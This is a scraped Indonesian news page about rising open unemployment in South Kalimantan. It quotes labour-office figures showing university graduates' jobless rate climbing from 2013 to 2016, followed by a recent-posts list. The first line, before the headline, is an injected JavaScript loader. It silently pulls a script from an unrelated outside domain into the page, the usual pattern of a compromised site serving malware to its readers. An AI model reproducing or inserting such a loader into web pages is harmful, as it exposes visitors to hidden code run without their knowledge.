(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jumlah Pengangguran Terbuka di Kalsel Naik 8.553 Orang


Pengangguran Sarjana

Jumlah pengangguran dari lulusan Perguruan Tinggi (PT) lebih tinggi dibandingkan lulusan SMP/sederajat. Hal ini menunjukkan masih belum adanya link and mach antara dunia pendidikan dan sektor usaha. Data pada Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans) Kalsel, bahwa lulusan SMP/sederajat yang jobless atau belum dapat kerja menunjukkan penurunan dibandingkan yang lulusan Perguruan Tinggi (PT). Tahun 2013, tercatat pengangguran terbuka dari lulusan SMP sebesar 2,25 persen dan sempat naik ke level 4,15 persen pada 2014. Pada tahun 2016, pengangguran SMP turun ke 2,56 persen.

“Ini menunjukkan bahwa belum tentu pendidikan jadi jaminan dapat kerja. Saat ini kompetensi kita masih rendah, belum link and match antara dunia pendidikan dan dunia kerja. Banyak lulusan perguruan tinggi belum siap bersaing di lapangan kerja,” ujar Kepala Disnakertrans Antonius Simbolon beberapa waktu lalu.

Dia mengatakan, menyusutnya angka pengangguran di tingkat pendidikan rendah itu karena mayoritas penduduk masih bekerja di sektor pertanian. Sehingga tingkat pendidikan penduduk relatif masih rendah. Pun sebagian besar juga masih bekerja di sektor informal.

Di Kalsel, ia melihat ada pergerseran angka pengangguran berdasar pendidikan, dari yang semula didominasi sekolah dasar (SD) ke jenjang sekolah menengah atas (SMA) dan perguruan tinggi. Berkaca dari fenomena itu, Antonius mengatakan, tingkat pendidikan bukan jaminan untuk mendapat pekerjaan.

Mengutip data tahun 2013, misalnya, pengangguran terbuka dari lulusan diploma dan universitas sebanyak 1,75 persen. Angka itu terus merangkak naik ke level 2,29 persen pada 2014, dan 5,24 persen pada 2016. Adapun di tahun 2017, Disnakertrans mencatat penganggur lulusan perguruan tinggi ada kemungkinan turun ke 4,28 persen.(rico/ant)

Reporter: Rico/ant
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

19 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

20 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

20 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

20 jam ago

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

1 hari ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

1 hari ago

This website uses cookies.